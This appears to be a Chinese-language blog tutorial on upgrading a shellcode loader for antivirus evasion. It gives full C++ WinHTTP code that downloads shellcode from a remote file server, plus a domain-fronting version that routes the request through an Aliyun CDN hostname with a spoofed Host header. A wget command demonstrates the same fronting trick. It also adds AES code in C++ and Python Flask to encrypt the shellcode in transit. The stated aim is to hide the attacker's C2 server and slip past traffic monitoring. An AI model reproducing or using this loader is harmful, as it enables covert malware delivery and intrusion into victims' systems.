前言

shellcode加载器加载shellcode实现免杀上线,目前可能是使用最多的方法了。

现有的加载器也特别多,但是改造轮子的心总是在骚动,所以就开始了Shellcode远程加载器改造计划。

Winhttp实现HTTP请求

所谓远程加载shellcode,第一部得实现远程的功能,这里用Winhttp实现http请求来获取我们文件服务器上的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
string GetShellcodeByDefault(string strUrl)
{
string strHost = GetHost(strUrl);//获取Host
string strRequestStr = GetRequestStr(strUrl);//获取请求路径
string header = "Content-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n";
USES_CONVERSION;
LPCWSTR host = A2CW(strHost.c_str());
LPCWSTR requestStr = A2CW(strRequestStr.c_str());
//Variables
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer;
vector <string> vFileContent;
BOOL bResults = FALSE;

HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
string strHtml = "";// store the html code
hSession = WinHttpOpen(L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, host,
INTERNET_DEFAULT_HTTP_PORT, 0);
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", requestStr,
NULL, WINHTTP_NO_REFERER,
NULL,
NULL);

//Add HTTP header
LPCWSTR header1 = A2CW(header.c_str());
SIZE_T len = lstrlenW(header1);
WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);

// Send a request.
if (hRequest)
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
// End the request.
if (bResults)
bResults = WinHttpReceiveResponse(hRequest, NULL);

//obtain the html source code
if (bResults)
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable.\n",
GetLastError());
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
else
{
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.\n",
GetLastError());
}
else
{
//printf("%s", pszOutBuffer);
// Data in vFileContent
vFileContent.push_back(pszOutBuffer);

}
// Free the memory allocated to the buffer.
delete[] pszOutBuffer;
}
} while (dwSize > 0);
// Keep checking for data until there is nothing left.
// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

for (int i = 0; i < (int)vFileContent.size(); i++)
{
str = vFileContent[i];
strHtml += vFileContent[i];
}
return strHtml;
}

如上代码让已有的加载器实现一个远程加载shellcode的功能。

DomainFronting

但是远程加载shellcode容易暴露自己的文件服务器地址,所以这里用到了域前置,可以用来隐藏自己的服务器地址。

https://dcdn.console.aliyun.com/domain/list

申请你要加速的域名,例如test.com和源站信息。

申请完后就可以通过他给你分配cdn地址加上你host: test.com来访问的你地址了。

如下命令:

1
wget -U demo -q -O - http://test.com.w.cdngslb.com/ --header "Host: test.com"

通过域前置的方法可以有效的隐藏我们C2地址或加载器的文件服务器。同时此类CDN地址可能存在于白名单,可用于绕过流量监测。

这里在修改一个Winhttp实现HTTP请求方法,给它填上一个host头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
string GetShellcodeByDomainFronting(string strUrl)
{
string strHost = GetHost(strUrl);//获取Host
string strRequestStr = GetRequestStr(strUrl);//获取请求路径
string header = "Host: " + strHost + "\r\nContent-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n";
strHost = strHost + ".w.cdngslb.com";
USES_CONVERSION;
LPCWSTR host = A2CW(strHost.c_str());//string转换为常量指针类型
LPCWSTR requestStr = A2CW(strRequestStr.c_str());
//Variables
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer;
vector <string> vFileContent;
BOOL bResults = FALSE;

//Note the definition of HINTERNET
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
string strHtml = "";// store the html code
string str;//temporary variables

// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, host,
INTERNET_DEFAULT_HTTP_PORT, 0);
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", requestStr,
NULL, WINHTTP_NO_REFERER,
NULL,
NULL);

//Add HTTP header
LPCWSTR header1 = A2CW(header.c_str());
SIZE_T len = lstrlenW(header1);
WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);

// Send a request.
if (hRequest)
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
// End the request.
if (bResults)
bResults = WinHttpReceiveResponse(hRequest, NULL);

//obtain the html source code
if (bResults)
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable.\n",
GetLastError());
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
else
{
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.\n",
GetLastError());
}
else
{
//printf("%s", pszOutBuffer);
// Data in vFileContent
vFileContent.push_back(pszOutBuffer);

}
// Free the memory allocated to the buffer.
delete[] pszOutBuffer;
}
} while (dwSize > 0);
// Keep checking for data until there is nothing left.
// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

for (int i = 0; i < (int)vFileContent.size(); i++)
{
str = vFileContent[i];
strHtml += vFileContent[i];
}
return strHtml;
}

AES加密

用如上的域前置方法可以有效的隐藏我们的文件服务器,但是在通信过程中,我们shellcode还是会暴露。所以参照冰蝎的原理,我们可以实现一个对shellcode进行一个AES动态加密的过程。

客户端(C++ 加载器)

C++加载器随机生成一个key值,通过HTTP请求,将key发给文件服务器。

文件服务器收到请求用key值来加密已有的shellcode,回显给客户端。

C++加载器用cryptopp库,写一个AES解密函数来解密发过来的shellcode。

如下是AES解密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
string cryptopp::decrypt(const string& cipherTextHex)
{
string cipherText;
string decryptedText;

unsigned int i = 0;
while (true)
{
char c;
int x;
stringstream ss;
ss << hex << cipherTextHex.substr(i, 2).c_str();
ss >> x;
c = (char)x;
cipherText += c;
if (i >= cipherTextHex.length() - 2)break;
i += 2;
}

try {
CryptoPP::AES::Decryption aesDecryption(s_key, CryptoPP::AES::DEFAULT_KEYLENGTH);
CryptoPP::CBC_Mode_ExternalCipher::Decryption cbcDecryption(aesDecryption, s_iv);
//CryptoPP::StreamTransformationFilter stfDecryptor(cbcDecryption, new CryptoPP::StringSink( decryptedText ),CryptoPP::StreamTransformationFilter::NO_PADDING);
CryptoPP::StreamTransformationFilter stfDecryptor(cbcDecryption, new CryptoPP::StringSink(decryptedText));
stfDecryptor.Put(reinterpret_cast<const unsigned char*>(cipherText.c_str()), cipherText.size());

stfDecryptor.MessageEnd();
}
catch (const std::exception& e) {
decryptedText = "";
}

return decryptedText;
}

服务端(Python Flask)

服务端用Flask写一个web服务,获取请求发送过来的key,用这个key对shellcode进行解密,然后回显给客户端。

AES加密实现方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
def AES_Encrypt(key):
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]

key = key # the length can be (16, 24, 32)
vi = '0000000000000000'
shellcode = ''

cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))

encrypted = cipher.encrypt(pad(shellcode)).encode('hex')
return str(encrypted)

key随机生成,至此就可以实现一个简单AES动态流量加密的过程了。